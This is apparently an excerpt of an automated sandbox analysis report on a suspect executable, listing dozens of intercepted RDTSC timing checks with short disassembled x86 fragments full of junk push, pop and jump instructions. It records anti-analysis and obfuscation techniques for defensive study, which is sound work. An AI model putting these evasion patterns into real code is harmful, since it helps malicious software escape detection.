Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53D0D second address: D53D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 ja 00007F28E4BE584Dh 0x0000000e xchg eax, esi 0x0000000f mov edx, ebx 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jg 00007F28E4BE5836h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53D42 second address: D53D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53D48 second address: D53D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54368 second address: D54401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F28E4D0ABC1h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F28E4D0ABB8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c and edi, dword ptr [ebp+122D2D48h] 0x00000032 mov cx, B058h 0x00000036 push 0000001Eh 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F28E4D0ABB8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 cmc 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F28E4D0ABC9h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54401 second address: D54407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54407 second address: D5440B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54527 second address: D5452B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D546D4 second address: D54700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F28E4D0ABB6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F28E4D0ABC5h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54700 second address: D54705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D54705 second address: D5470F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F28E4D0ABB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5470F second address: D54713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D547B0 second address: D547EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D3829h], edx 0x0000000e lea eax, dword ptr [ebp+1248F28Dh] 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F28E4D0ABB8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e nop 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D860B5 second address: D860D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F28E4BE5846h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D860D2 second address: D860D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D86660 second address: D8666A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8693D second address: D86941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8D382 second address: D8D388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8D388 second address: D8D395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8D395 second address: D8D3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8C2B3 second address: D8C2D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F28E4D0ABC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8C793 second address: D8C7B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnp 00007F28E4BE5836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F28E4BE5840h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8C7B2 second address: D8C7C9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F28E4D0ABC9h 0x00000008 jmp 00007F28E4D0ABBDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8BD44 second address: D8BD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE5848h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8CC10 second address: D8CC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8CC14 second address: D8CC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE5847h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F28E4BE583Eh 0x00000011 pushad 0x00000012 jg 00007F28E4BE5836h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8CC4A second address: D8CC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABBCh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F28E4D0ABC7h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8CC77 second address: D8CC7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D910DB second address: D910EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F28E4D0ABB6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D93055 second address: D93063 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D93063 second address: D9306D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F28E4D0ABB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D931D7 second address: D931F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5846h 0x00000007 js 00007F28E4BE5836h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D95BE6 second address: D95C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC6h 0x00000009 popad 0x0000000a jmp 00007F28E4D0ABC6h 0x0000000f pushad 0x00000010 jng 00007F28E4D0ABB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D95D99 second address: D95DA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F28E4BE5836h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D96046 second address: D96074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jg 00007F28E4D0ABB6h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jno 00007F28E4D0ABCCh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D96074 second address: D9607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D9B662 second address: D9B675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F28E4D0ABB6h 0x0000000d jo 00007F28E4D0ABB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D9B675 second address: D9B679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D9B7CE second address: D9B80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F28E4D0ABB8h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F28E4D0ABBEh 0x00000012 jmp 00007F28E4D0ABBAh 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F28E4D0ABC5h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5419B second address: D54206 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F28E4BE583Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add dx, D701h 0x00000012 mov cl, EFh 0x00000014 mov ebx, dword ptr [ebp+1248F288h] 0x0000001a push eax 0x0000001b adc ecx, 25A7E96Fh 0x00000021 pop edi 0x00000022 add eax, ebx 0x00000024 jg 00007F28E4BE5838h 0x0000002a push eax 0x0000002b jo 00007F28E4BE5842h 0x00000031 jno 00007F28E4BE583Ch 0x00000037 mov dword ptr [esp], eax 0x0000003a mov di, dx 0x0000003d push 00000004h 0x0000003f movzx ecx, ax 0x00000042 nop 0x00000043 pushad 0x00000044 jmp 00007F28E4BE5841h 0x00000049 jng 00007F28E4BE583Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DA0331 second address: DA0339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DA35F0 second address: DA35FA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4BE5836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DA3738 second address: DA378E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnc 00007F28E4D0ABB6h 0x0000000b jl 00007F28E4D0ABB6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F28E4D0ABC0h 0x0000001c jmp 00007F28E4D0ABBBh 0x00000021 push esi 0x00000022 pop esi 0x00000023 jnp 00007F28E4D0ABB6h 0x00000029 popad 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d jmp 00007F28E4D0ABBFh 0x00000032 js 00007F28E4D0ABB6h 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DA3BA6 second address: DA3BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA0C2 second address: DAA0CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA38D second address: DAA391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA391 second address: DAA397 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA397 second address: DAA3A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA649 second address: DAA64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA64D second address: DAA658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAA658 second address: DAA674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC4h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAAE73 second address: DAAE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAFE67 second address: DAFE6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF096 second address: DAF09E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF09E second address: DAF0A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF0A3 second address: DAF0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE583Ah 0x00000009 jmp 00007F28E4BE5843h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F28E4BE5836h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF0D0 second address: DAF0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF544 second address: DAF54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF54D second address: DAF555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF555 second address: DAF569 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F28E4BE5836h 0x0000000e jo 00007F28E4BE5836h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF6C4 second address: DAF6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DAF6C8 second address: DAF6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F28E4BE583Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA470 second address: DBA48F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007F28E4D0ABB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA48F second address: DBA499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA499 second address: DBA4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA4A0 second address: DBA4AA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F28E4BE584Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA5E0 second address: DBA5EA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA5EA second address: DBA5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4BE5840h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA754 second address: DBA75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F28E4D0ABB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBA75F second address: DBA769 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F28E4BE5842h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBADFB second address: DBAE19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F28E4D0ABB6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jne 00007F28E4D0ABB6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBBC67 second address: DBBC8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5845h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F28E4BE583Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DBBC8C second address: DBBC92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DB9BFF second address: DB9C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DC2E7E second address: DC2E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC3h 0x00000009 js 00007F28E4D0ABB6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DC2B82 second address: DC2B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jg 00007F28E4BE5836h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DD284F second address: DD285D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F28E4D0ABB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DD285D second address: DD2866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DD2866 second address: DD2879 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F28E4D0ABB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DE234D second address: DE2351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DE2351 second address: DE2355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DE2355 second address: DE237C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F28E4BE583Fh 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F28E4BE5836h 0x00000017 jg 00007F28E4BE5836h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DE48B9 second address: DE48E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC7h 0x00000007 jmp 00007F28E4D0ABC2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DE48E6 second address: DE48EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEAD11 second address: DEAD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEAE25 second address: DEAE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE5848h 0x00000009 jmp 00007F28E4BE583Eh 0x0000000e popad 0x0000000f rdtsc
